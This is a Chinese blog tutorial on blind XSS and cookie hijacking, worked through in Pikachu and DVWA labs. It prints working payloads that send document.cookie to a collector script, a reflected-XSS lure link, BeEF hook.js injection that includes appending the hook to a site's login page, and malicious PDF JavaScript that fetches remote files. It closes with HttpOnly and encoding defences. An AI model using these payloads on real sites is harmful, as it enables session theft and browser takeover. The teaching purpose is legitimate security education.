首页 > 其他分享 >XSS盲打与cookie劫持

XSS盲打与cookie劫持

时间:2024-08-14 16:24:52浏览次数:17  
标签:xss http XSS 盲打 cookie 浏览器 php

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

XSS盲打(加载远程攻击payload)

XSS偷cookie

cookie收集

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

安装和使用

XSS 一些实战应用

1. XSS PDF

2. 公网投毒

3. 网站挂马

XSS防御

HttpOnly

输入检查

输出检查


【学习目标、重难点知识】

【学习目标】

  1. XSS盲打
  1. XSS收集平台
  1. BeFF框架的使用
  1. 在线XSS收集平台的使用

【重难点知识】

  1. XSS收集平台的使用
  1. 在线XSS收集平台的使用

XSS盲打(加载远程攻击payload)

盲打的意思就是指:在看不见XSS内容提交后的输出的情况下,强制把xss脚本提交上去。此种情况多出现在留言板,问题反馈等可以在后台查看的情况下,当我们的管理员或客服打开网页的时候,就此中招。

以pikachu的xss盲打为例子,在留言的时候,如留下的是XSS的代码,这些代码窃取了会话session,而后台如果没有对这些xss代码进行过滤,问题就此产生。

XSS后台很多,也很好用,包括xssme pkxss 等等。我们可以在pikachu靶场里看到有xss的集成平台。

XSS偷cookie

前期准备

利用过程

    • cookie.php,需要get将cookie内容传过来
  • 如何让受害者去访问?
  • 让受害者执行我们的JS代码
  • 如何让受害者执行?
  • 找xss漏洞,将代码插入到目标网站

<script>document.location='http://pkxss/xcookie/cookie.php?cookie=cookie'%2bdocument.cookie</script>			//注意,符号+,要改成%2b

  • 受害者执行完之后,会重定向到我们设置的安全网站

  • 这个时候受害者执行js代码之后,就会将cookie,发送到目标服务器上,目标服务器用cookie.php接收cookie信息

  • 注意,cookie.php中重定向网站要自己修改,改成目标自己的站点


cookie收集

重定向到另一个可信网址 让点击者 不知情。

注意这个地方这个cookie.php的文件位置,我们要访问这个收集cookie的文件路径应该是:

http://主机地址/pkxss/xcookie/cookie.php

我们可以构建一个偷cookie的payload:

<script> document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>

接下来在反射性XSS中试一试:


获得的结果:

可以get反射型XSS构建一个欺骗用户点击的链接:

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x one rror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie;">&submit=submit

注意:+会被过滤 , 用%2B来替换

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x one rror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='%2Bdocument.cookie;">&submit=submit

访问之后:

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

BeeF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。

BeeF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上 就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeeF持有者可以通过浏览器来 登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

安装和使用
安装教程:https://www.cnblogs.com/xfbk/p/17936987

我们主要在docker中去使用,安装完docker并启动后,我们搜索BeeF框架的镜像:

然后拉取下来:

然后直接启动docker:

docker run -d --name beef -p 3000:3000 janes/beef

现在,我们通过浏览器打开BeEF的界面:

http://xxx.xxx.xxx.xxx:3000/ui/authentication 默认账号密码:beef/beef

此时,我们已经进入了BeEF页面里面,但是发现什么都没有。 最后我们要设置一个钩子,将下面这段代码保存为beef.html:

<html> 
  <head>    
    <title>BeEF测试</title> 
  </head> 
  <body>    
    <script src="http://192.168.119.129:3000/hook.js"></script>

  </body> 
</html>

这是一个最简单的例子,<script>标签的src属性指向的是BeEF的钩子,其中里面的地址大家根据自己实际情况更改。也可以直 接将这个路径贴到浏览器中,看看这个JS代码。

接下来访问这个文件,就可以看到主机上线:

这就类似一个远控木马,别人点击了你的链接就能操控他的浏览器了,还能执行很多命令,命令菜单不多,大家都点点看看吧。

XSS 一些实战应用

1. XSS PDF

  • 首先我们需要制作一个恶意的 pdf 文件,大多有三种方式:
    • 迅捷 PDF 编辑器(推荐)
    • Adobe Acrobat DC
    • Python 脚本嵌入

  • 然后选中缩略图,点击属性,此时在右侧可以看到属性栏:

  • 新增运行 JavaScript:

  • 在弹出的 JavaScript 编辑器对话框中输入以下代码,然后保存文件:
app.alert("恶意代码");通过弹出恶意警告框来干扰用户或欺骗用户。

this.exportDataObject({ cName: "恶意文件", nLaunch: 2, cDIPath: "http://恶意网站/恶意文件" });通过导出数据对象来触发恶意文件的下载或执行。

this.submitForm({ cURL: "http://恶意网站/恶意脚本" });通过提交表单来触发恶意脚本的执行。

注:之所以不是 alert('xss'),这是因为Adobe支持自身的 JavaScript 对象模型,利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能。

  • 现在恶意文件已经制作完成,使用浏览器打开:

  • 但也不是所有浏览器都会弹:
    • Chrome(弹)
    • Edge(弹)
    • QQ(弹)
    • Firefox(不弹)
    • IE(不弹)
  • 同样的 PDF 内的 JS 是被大幅阉割过的,不存在能够获取 cookie 等问题。

2. 公网投毒

  • 在站点中嵌入 xss 代码,每个访问者都将进行回连(供应链攻击)。
  • 公网自建站点(DVWA + BeEF):
docker run -itd -p 81:80 --name dvwa citizenstig/dvwa:latest
  • 在 login.php 处添加代码:
docker exec -it dvwa /bin/bash
echo '<script src="http://10.10.8.21:3000/hook.js"></script>' >> /var/www/html/login.php
  • 查看结果:
root@e7e481b84bad:/# tail -n 1 /var/www/html/login.php
<script src="http://10.10.8.21:3000/hook.js"></script>
  • 当我们访问 DVWA 登录页面时,BeEF 就已经上线了:

3. 网站挂马

  • 对方访问站点后直接造成权限获取,一般都是利用浏览器漏洞(0 day),常用漏洞有:
    • ms14-064(CVE-2014-6332)
    • CVE-2018-8174
    • CVE-2019-1367
    • CVE-2021-21220
    • CVE-2023-4863
  • 参考页面:

CVE-2021-21220(Chrome)漏洞复现 | Yongz丶

XSS防御

HttpOnly

HttpOnly 最早由微软提出,浏览器将禁止页面的JavaScript访问HttpOnly属性的Cookie。HTTPOnly 并未要对抗XSS,HTTPOnly 解决的是XSS后的Cookie劫持攻击。在使用了HTTPOnly之后,会使这种攻击失效。

使用了HttpOnly之后就没有办法偷取cookie了。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");


Set-Cookie : uid=112; Path=/; HttpOnly



cookie:

输入检查

常见的web漏洞都要求攻击者构造一些特殊字符,这些特殊字符可能是常规用户不会用到的,所以输入检查就很有必要了。在XSS防御上一般就是检查用户输入数据中是否包含一些特殊字符,如<、>、"、' 如果发现这些特殊字符将这些关键字符过滤或者编码。

比较智能的检查还可以匹配XSS 的特征,比如查找用户数据中是否包含了

输出检查

除了富文本的输出之外,在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS攻击。

  • HTML代码的编码方式是HtmlEncode。
  • PHP中有htmlentities()和htmlspecialchares() 这两个函数可以满足安全要求
  • Javascript 可以使用JavascriptEncode。
  • 在Django自带的模板系统中,可以使用escape进行htmlencode,并且在Django 1.0中默认所有变量都会被escape。
  • web2py中,也默认escape了所有变量。

标签:xss,http,XSS,盲打,cookie,浏览器,php
From: https://blog.csdn.net/m0_74249600/article/details/141193928

相关文章

  • Cookie、localStorage 和 sessionStorage 的区别及应用实例
    在前端开发中,持久化数据存储是一个非常常见的需求。为了实现这一点,浏览器提供了多种方式,包括Cookie、localStorage和sessionStorage。这三者各有优劣,适用于不同的场景1.CookieCookie是浏览器存储少量数据的一种机制,通常由服务器生成并发送到客户端。每次客户端向同一域名发......
  • Java网络编程——Cookie & Session
    cookie前面我们学习Okhttp3库可以调用API、抓取网页、下载文件。但是这些操作都是不要求登录的,如果API、网页、文件等内容要求登录才能访问,就需要学习新的cookie相关的知识了。下面以豆瓣为例,使用Java程序读取“我的豆瓣”页面内容,在此过程中熟悉运用cookie。所......
  • laravel:防止xss攻击
    一,什么是xss?XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得......
  • XSS 专项
    最终确实是学得越多越值钱;误区在于很多人一开始就想测完所有漏洞,这是不可能的行为。先测完一种,再进行下一件事,这就是提升速度的关键。你需要做完BP靶场所有的XSSlab,从UI功能点的数据包转变成细颗粒度的函数级别的功能点(结合GPT进行)侦察。合格的意识:从市场,从开发,从devops得到功......
  • bugbountyhunter scope BARKER:第十滴血 存储型 Storage Cross-Site Scripting XSS 添
    登录后点击MemberDogs,Addyourdog头像处可以上传SVG图片检查xsspayload:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSSInjection#xss-in-files使用SVG进行图片上传,发现SVG文件上传成功并返回图片地址poc:https://cfceb12f2bfd-sec875.a.barker......
  • bugbountyhunter scope BARKER:第九滴血 存储型 Storage Cross-Site Scripting XSS SVG
    登录后来到Myprofile页面,页面里存在一个EditProfile头像处可以上传SVG图片检查xsspayload:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSSInjection#xss-in-files使用SVG进行图片上传,发现SVG文件上传成功并返回图片地址poc:https://cfceb12f2......
  • bugbountyhunter scope BARKER:第八滴血 存储型 Storage Cross-Site Scripting XSS SVG
    登录后来到home页面,留言中存在一个Attachimage检查xsspayload:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSSInjection#xss-in-files使用SVG进行图片上传,发现SVG文件上传成功并返回图片地址poc:https://cfceb12f2bfd-sec875.a.barker-social.com......
  • bugbountyhunter scope BARKER:第7滴血 存储型 XSS 编码测试和多处引用 报告
    注册后,来到UIDisplayName处直接点击更新之后,发现反射值的存在尝试一些编码,发现没有任何转换。编码测试更简单,语义一把梭:比如各种华丽花哨的编码到落地并没有被还原成<>'"等语义,此处没有漏洞https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSSInjectio......
  • XSS 专项
    访问web应用,首页HTML发现新端点如下:使用《赏猎技战法》https://www.cnblogs.com/sec875/p/18335838中的测试XSS流程,使用一个良性payload试试水:<h1>666同时思考此处的功能点:https://cfceb12f2bfd-sec875.a.barker-social.com/post/1post作为输入时和1作为输入时,它们是否......
  • 前端cookie为什么无法传递给后端
    异常描述在进行登录权限校验时,需要使用cookie。然而,在设置cookie时会出现以下异常,导致后端session为空异常。前端已经设置WITH_CREDENTIALS:true。解决办法将访问的127.0.0.1修改为使用localhost进行访问,就可以携带上cookie了。可能原因1.Cookie的域名限制Cookie......